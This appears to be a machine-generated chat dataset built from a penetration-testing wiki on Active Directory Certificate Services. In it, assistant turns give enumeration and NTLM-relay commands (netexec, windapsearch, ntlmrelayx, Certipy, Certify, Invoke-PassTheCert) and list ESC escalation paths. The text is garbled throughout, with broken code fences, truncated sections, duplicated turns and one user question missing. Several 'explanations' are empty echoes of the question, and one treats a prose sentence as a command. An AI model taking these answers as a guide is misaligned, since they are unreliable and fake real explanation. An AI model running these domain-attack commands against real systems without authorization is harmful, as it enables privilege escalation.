With Impacket's ntlmrelayx (Python), thanks to SAERXCIT (PR#1214), it is possible to gather information regarding ADCS like the name and host of the CA, the certificate templates enrollment rights for those allowing client authentication and not requiring manager approval, etc. With ntlmrelayx, these information can be gathered through a relayed LDAP session.

`bash
ntlmrelayx -t "ldap://domaincontroller" --dump-adcs
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Certificate Services (AD-CS) - pKIEnrollmentService objects

[Assistant]
Alternatively, information like the PKI's CA and DNS names can be gathered through LDAP.

::: tabs

=== netexec

netexec's adcs module (Python) can be used to find PKI enrollment services in AD.

``bash
netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
`

=== windapsearch

windapsearch (Python) can be used to manually to the LDAP query.

`bash
windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'
`

=== ntlmrelayx

With Impacket's ntlmrelayx (Python), thanks to SAERXCIT (PR#1214), it is possible to gather information regarding ADCS like the name and host of the CA, the certificate templates enrollment rights for those allowing client authentication and not requiring manager approval, etc. With ntlmrelayx, these information can be gathered through a relayed LDAP session.

`bash
ntlmrelayx -t "ldap://domaincontroller" --dump-adcs
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Certificate Services (AD-CS) - pKIEnrollmentService objects

Response:
Alternatively, information like the PKI's CA and DNS names can be gathered through LDAP.

::: tabs

=== netexec

netexec's adcs module (Python) can be used to find PKI enrollment services in AD.

``bash
netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
`

=== windapsearch

windapsearch (Python) can be used to manually to the LDAP query.

`bash
windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'
`

=== ntlmrelayx

With Impacket's ntlmrelayx (Python), thanks to SAERXCIT (PR#1214), it is possible to gather information regarding ADCS like the name and host of the CA, the certificate templates enrollment rights for those allowing client authentication and not requiring manager approval, etc. With ntlmrelayx, these information can be gathered through a relayed LDAP session.

`bash
ntlmrelayx -t "ldap://domaincontroller" --dump-adcs
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use netexec for certificate services (ad-cs) - pkienrollmentservice objects?

[Assistant] netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use netexec for certificate services (ad-cs) - pkienrollmentservice objects?

Response: netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Certificate Services (AD-CS) - pKIEnrollmentService objects?

[Assistant] netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Certificate Services (AD-CS) - pKIEnrollmentService objects?

Response: netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs`?

[Assistant] This command is used for certificate services (ad-cs) - pkienrollmentservice objects. pKIEnrollmentService objects

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs`?

Response: This command is used for certificate services (ad-cs) - pkienrollmentservice objects. pKIEnrollmentService objects


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the windapsearch syntax for certificate services (ad-cs) - pkienrollmentservice objects?

[Assistant] windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the windapsearch syntax for certificate services (ad-cs) - pkienrollmentservice objects?

Response: windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Certificate Services (AD-CS) - pKIEnrollmentService objects?

[Assistant] windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Certificate Services (AD-CS) - pKIEnrollmentService objects?

Response: windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'`?

[Assistant] This command is used for certificate services (ad-cs) - pkienrollmentservice objects. pKIEnrollmentService objects

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'`?

Response: This command is used for certificate services (ad-cs) - pkienrollmentservice objects. pKIEnrollmentService objects


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the ntlmrelayx syntax for certificate services (ad-cs) - pkienrollmentservice objects?

[Assistant] ntlmrelayx -t "ldap://domaincontroller" --dump-adcs

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the ntlmrelayx syntax for certificate services (ad-cs) - pkienrollmentservice objects?

Response: ntlmrelayx -t "ldap://domaincontroller" --dump-adcs


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Certificate Services (AD-CS) - pKIEnrollmentService objects?

[Assistant] ntlmrelayx -t "ldap://domaincontroller" --dump-adcs

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: ntlmrelayx -t "ldap://domaincontroller" --dump-adcs


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ntlmrelayx -t "ldap://domaincontroller" --dump-adcs`?

[Assistant] This command is used for certificate services (ad-cs) - pkienrollmentservice objects. pKIEnrollmentService objects

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ntlmrelayx -t "ldap://domaincontroller" --dump-adcs`?

Response: This command is used for certificate services (ad-cs) - pkienrollmentservice objects. pKIEnrollmentService objects


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Certificate Services (AD-CS) - Attack paths in the context of penetration testing

[Assistant]
> [!TIP]
> Certipy (Python) and Certify (C#) can also identify the PKI enrollment services and potential attack paths.

::: tabs

=== UNIX-like

From UNIX-like systems, the Certipy (Python) tool can be used to operate multiple attacks and enumeration operations.

```python

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Certificate Services (AD-CS) - Attack paths in the context of penetration testing

Response:
> [!TIP]
> Certipy (Python) and Certify (C#) can also identify the PKI enrollment services and potential attack paths.

::: tabs

=== UNIX-like

From UNIX-like systems, the Certipy (Python) tool can be used to operate multiple attacks and enumeration operations.

```python


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Certificate Services (AD-CS) - Attack paths during a pentest?

[Assistant]
> [!TIP]
> Certipy (Python) and Certify (C#) can also identify the PKI enrollment services and potential attack paths.

::: tabs

=== UNIX-like

From UNIX-like systems, the Certipy (Python) tool can be used to operate multiple attacks and enumeration operations.

```python

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Certificate Services (AD-CS) - Attack paths during a pentest?

Response:
> [!TIP]
> Certipy (Python) and Certify (C#) can also identify the PKI enrollment services and potential attack paths.

::: tabs

=== UNIX-like

From UNIX-like systems, the Certipy (Python) tool can be used to operate multiple attacks and enumeration operations.

```python


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about enumerate and save text, json and bloodhound (original) outputs?

[Assistant] certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about enumerate and save text, json and bloodhound (original) outputs?

Response: certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on enumerate and save text, json and bloodhound (original) outputs

[Assistant] certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on enumerate and save text, json and bloodhound (original) outputs

Response: certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about quickly spot vulnerable elements?

[Assistant]
certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout
``

Certipy also supports BloodHound. With the -old-bloodhound option, the data will be exported for the original version of BloodHound. With the -bloodhound option, the data will be exported for the modified version of BloodHound, forked by Certipy's author (default output when no flag is set).

The tool also supports multiple output types (text, json, stdout).

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the Certify (C#) tool can be used to operate multiple attacks and enumeration operations.

`powershell
Certify.exe cas
`

Also, the Invoke-PassTheCert fork can be used, authenticating through Schannel via PassTheCert (PowerShell version).

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about quickly spot vulnerable elements?

Response:
certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout
``

Certipy also supports BloodHound. With the -old-bloodhound option, the data will be exported for the original version of BloodHound. With the -bloodhound option, the data will be exported for the modified version of BloodHound, forked by Certipy's author (default output when no flag is set).

The tool also supports multiple output types (text, json, stdout).

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the Certify (C#) tool can be used to operate multiple attacks and enumeration operations.

`powershell
Certify.exe cas
`

Also, the Invoke-PassTheCert fork can be used, authenticating through Schannel via PassTheCert (PowerShell version).

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform quickly spot vulnerable elements?

[Assistant]
certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout
``

Certipy also supports BloodHound. With the -old-bloodhound option, the data will be exported for the original version of BloodHound. With the -bloodhound option, the data will be exported for the modified version of BloodHound, forked by Certipy's author (default output when no flag is set).

The tool also supports multiple output types (text, json, stdout).

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the Certify (C#) tool can be used to operate multiple attacks and enumeration operations.

`powershell
Certify.exe cas
`

Also, the Invoke-PassTheCert fork can be used, authenticating through Schannel via PassTheCert (PowerShell version).

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform quickly spot vulnerable elements?

Response:
certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout
``

Certipy also supports BloodHound. With the -old-bloodhound option, the data will be exported for the original version of BloodHound. With the -bloodhound option, the data will be exported for the modified version of BloodHound, forked by Certipy's author (default output when no flag is set).

The tool also supports multiple output types (text, json, stdout).

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the Certify (C#) tool can be used to operate multiple attacks and enumeration operations.

`powershell
Certify.exe cas
`

Also, the Invoke-PassTheCert fork can be used, authenticating through Schannel via PassTheCert (PowerShell version).

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Certipy for quickly spot vulnerable elements?

[Assistant]
Certipy also supports BloodHound. With the `-old-bloodhound` option, the data will be exported for the original version of [BloodHound](https://github.com/BloodHoundAD/BloodHound). With the `-bloodhound` option, the data will be exported for the modified version of BloodHound, [forked](https://github.com/ly4k/BloodHound/) by Certipy's [author](https://twitter.com/ly4k_) (default output when no flag is set).

The tool also supports multiple output types (text, json, stdout).

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The `-scheme` flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to operate multiple attacks and enumeration operations.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use Certipy for quickly spot vulnerable elements?

Response:
Certipy also supports BloodHound. With the `-old-bloodhound` option, the data will be exported for the original version of [BloodHound](https://github.com/BloodHoundAD/BloodHound). With the `-bloodhound` option, the data will be exported for the modified version of BloodHound, [forked](https://github.com/ly4k/BloodHound/) by Certipy's [author](https://twitter.com/ly4k_) (default output when no flag is set).

The tool also supports multiple output types (text, json, stdout).

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The `-scheme` flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to operate multiple attacks and enumeration operations.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through quickly spot vulnerable elements

[Assistant]
Certipy also supports BloodHound. With the `-old-bloodhound` option, the data will be exported for the original version of [BloodHound](https://github.com/BloodHoundAD/BloodHound). With the `-bloodhound` option, the data will be exported for the modified version of BloodHound, [forked](https://github.com/ly4k/BloodHound/) by Certipy's [author](https://twitter.com/ly4k_) (default output when no flag is set).

The tool also supports multiple output types (text, json, stdout).

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The `-scheme` flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to operate multiple attacks and enumeration operations.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through quickly spot vulnerable elements

Response:
Certipy also supports BloodHound. With the `-old-bloodhound` option, the data will be exported for the original version of [BloodHound](https://github.com/BloodHoundAD/BloodHound). With the `-bloodhound` option, the data will be exported for the modified version of BloodHound, [forked](https://github.com/ly4k/BloodHound/) by Certipy's [author](https://twitter.com/ly4k_) (default output when no flag is set).

The tool also supports multiple output types (text, json, stdout).

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The `-scheme` flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to operate multiple attacks and enumeration operations.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for quickly spot vulnerable elements?

[Assistant]
Also, the [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork can be used, authenticating through Schannel via [PassTheCert](https://www.thehacker.recipes/ad/movement/schannel/passthecert) (PowerShell version).

> Note: the [README](https://github.com/jamarir/Invoke-PassTheCert/blob/main/README.md) contains the methodology to request a certificate using [certreq](https://github.com/GhostPack/Certify/issues/13#issuecomment-3622538862) from Windows (with a password, or an NTHash).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for quickly spot vulnerable elements?

Response:
Also, the [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork can be used, authenticating through Schannel via [PassTheCert](https://www.thehacker.recipes/ad/movement/schannel/passthecert) (PowerShell version).

> Note: the [README](https://github.com/jamarir/Invoke-PassTheCert/blob/main/README.md) contains the methodology to request a certificate using [certreq](https://github.com/GhostPack/Certify/issues/13#issuecomment-3622538862) from Windows (with a password, or an NTHash).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Also, the [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork can be used, authenticating through Schannel via [PassTheCert](https://www.thehacker.recipes/ad/movement/schannel/passthecert) (PowerShell version).`?

[Assistant] This command is used for quickly spot vulnerable elements. quickly spot vulnerable elements

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Also, the [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork can be used, authenticating through Schannel via [PassTheCert](https://www.thehacker.recipes/ad/movement/schannel/passthecert) (PowerShell version).`?

Response: This command is used for quickly spot vulnerable elements. quickly spot vulnerable elements


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Import the PowerShell script and show its manual?

[Assistant]
Import-Module .\Invoke-PassTheCert.ps1
.\Invoke-PassTheCert.ps1 -?

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Import the PowerShell script and show its manual?

Response:
Import-Module .\Invoke-PassTheCert.ps1
.\Invoke-PassTheCert.ps1 -?


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Import the PowerShell script and show its manual?

[Assistant]
Import-Module .\Invoke-PassTheCert.ps1
.\Invoke-PassTheCert.ps1 -?

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Import the PowerShell script and show its manual?

Response:
Import-Module .\Invoke-PassTheCert.ps1
.\Invoke-PassTheCert.ps1 -?


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Authenticate to LDAP/S

[Assistant] $LdapConnection = Invoke-PassTheCert-GetLDAPConnectionInstance -Server 'LDAP_IP' -Port 636 -Certificate cert.pfx

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Authenticate to LDAP/S

Response: $LdapConnection = Invoke-PassTheCert-GetLDAPConnectionInstance -Server 'LDAP_IP' -Port 636 -Certificate cert.pfx


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Authenticate to LDAP/S

[Assistant] $LdapConnection = Invoke-PassTheCert-GetLDAPConnectionInstance -Server 'LDAP_IP' -Port 636 -Certificate cert.pfx

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Authenticate to LDAP/S

Response: $LdapConnection = Invoke-PassTheCert-GetLDAPConnectionInstance -Server 'LDAP_IP' -Port 636 -Certificate cert.pfx


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Enumerates all Certificate Authorities in the 'ADLAB.LOCAL' domain?

[Assistant] Invoke-PassTheCert -Action 'LDAPEnum' -LdapConnection $LdapConnection -Enum 'CAs' -SearchBase 'DC=ADLAB,DC=LOCAL'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Enumerates all Certificate Authorities in the 'ADLAB.LOCAL' domain?

Response: Invoke-PassTheCert -Action 'LDAPEnum' -LdapConnection $LdapConnection -Enum 'CAs' -SearchBase 'DC=ADLAB,DC=LOCAL'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Enumerates all Certificate Authorities in the 'ADLAB.LOCAL' domain?

[Assistant] Invoke-PassTheCert -Action 'LDAPEnum' -LdapConnection $LdapConnection -Enum 'CAs' -SearchBase 'DC=ADLAB,DC=LOCAL'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Enumerates all Certificate Authorities in the 'ADLAB.LOCAL' domain?

Response: Invoke-PassTheCert -Action 'LDAPEnum' -LdapConnection $LdapConnection -Enum 'CAs' -SearchBase 'DC=ADLAB,DC=LOCAL'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Enumerates all Certificate Templates in the 'ADLAB.LOCAL' domain

[Assistant]
Invoke-PassTheCert -Action 'LDAPEnum' -LdapConnection $LdapConnection -Enum 'CertificateTemplates' -SearchBase 'DC=ADLAB,DC=LOCAL'
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Enumerates all Certificate Templates in the 'ADLAB.LOCAL' domain

Response:
Invoke-PassTheCert -Action 'LDAPEnum' -LdapConnection $LdapConnection -Enum 'CertificateTemplates' -SearchBase 'DC=ADLAB,DC=LOCAL'
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Enumerates all Certificate Templates in the 'ADLAB.LOCAL' domain?

[Assistant]
Invoke-PassTheCert -Action 'LDAPEnum' -LdapConnection $LdapConnection -Enum 'CertificateTemplates' -SearchBase 'DC=ADLAB,DC=LOCAL'
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Enumerates all Certificate Templates in the 'ADLAB.LOCAL' domain?

Response:
Invoke-PassTheCert -Action 'LDAPEnum' -LdapConnection $LdapConnection -Enum 'CertificateTemplates' -SearchBase 'DC=ADLAB,DC=LOCAL'
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Certificate Services (AD-CS) - Abuse?

[Assistant]
The different domain escalation scenarios are detailed in the following parts.

- ESC1 to ESC3, ESC9, ESC10, ESC13, ESC14 and ESC15: Certificate Templates
- ESC6 and ESC12: Certificate Authority
- ESC4, ESC5 & ESC7: Access Controls
- ESC8, ESC11: Unsigned Endpoints

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Certificate Services (AD-CS) - Abuse?

Response:
The different domain escalation scenarios are detailed in the following parts.

- ESC1 to ESC3, ESC9, ESC10, ESC13, ESC14 and ESC15: Certificate Templates
- ESC6 and ESC12: Certificate Authority
- ESC4, ESC5 & ESC7: Access Controls
- ESC8, ESC11: Unsigned Endpoints


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Certificate Services (AD-CS) - Abuse

[Assistant]
The different domain escalation scenarios are detailed in the following parts.

- ESC1 to ESC3, ESC9, ESC10, ESC13, ESC14 and ESC15: Certificate Templates
- ESC6 and ESC12: Certificate Authority
- ESC4, ESC5 & ESC7: Access Controls
- ESC8, ESC11: Unsigned Endpoints

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Certificate Services (AD-CS) - Abuse

Response:
The different domain escalation scenarios are detailed in the following parts.

- ESC1 to ESC3, ESC9, ESC10, ESC13, ESC14 and ESC15: Certificate Templates
- ESC6 and ESC12: Certificate Authority
- ESC4, ESC5 & ESC7: Access Controls
- ESC8, ESC11: Unsigned Endpoints


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Unsigned endpoints - Theory work?

[Assistant]
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on web endpoints vulnerable to NTLM relay attacks. The escalation vector was dubbed ESC8.

> AD CS supports several HTTP-based enrollment methods via additional server roles that administrators can optionally install \[(The certificate enrollment web interface, Certificate Enrollment Service (CES), Network Device Enrollment Service (NDES)).]
>
> \[...]
>
> These HTTP-based certificate enrollment interfaces are all vulnerable to NTLM relay attacks. Using NTLM relay, an attacker can impersonate an inbound-NTLM-authenticating victim user. While impersonating the victim user, an attacker could access these web interfaces and request a client authentication certificate based on the "User" or "Machine" certificate templates.
>
> (specterops.io)

Following this, Sylvain Heiniger from Compass Security has found a similar vulnerability on the AD CS RPC enrollment endpoint. As described in his article, each RPC interface checks the NTLM signature independently.

